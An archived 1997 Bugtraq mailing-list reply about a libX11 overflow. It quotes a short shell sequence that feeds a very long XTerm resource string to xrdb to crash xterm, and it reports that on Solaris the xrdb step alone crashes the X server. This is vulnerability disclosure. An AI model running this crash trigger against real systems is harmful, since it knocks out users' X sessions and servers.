[4615] in bugtraq
Re: libX11 overflow continued....
daemon@ATHENA.MIT.EDU (Roman Maeder)
Fri May 30 16:44:22 1997
Date: Fri, 30 May 1997 19:42:26 +0200
Reply-To: Roman Maeder <maeder@MATHCONSULT.CH>
From: Roman Maeder <maeder@MATHCONSULT.CH>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: Message from hedley@CS.BRIS.AC.UK (David Hedley) of "Fri, 30 May
1997 15:14:19 BST" <14535.865001659@maxx>
hedley@CS.BRIS.AC.UK said:
> $ a='gerbil'
> $ for b in 1 2 3 4 5 6 7 8 9 10; do a=$a$a; done
> $ echo XTerm.$a: x > /tmp/test
> $ xrdb -merge /tmp/test
> $ xterm
> xterm should then segmentation fault/core dump...
On Solaris 2.5.1/OpenWindows 3.5.1, the "xrdb" line already crashes
the X server...
Roman Maeder
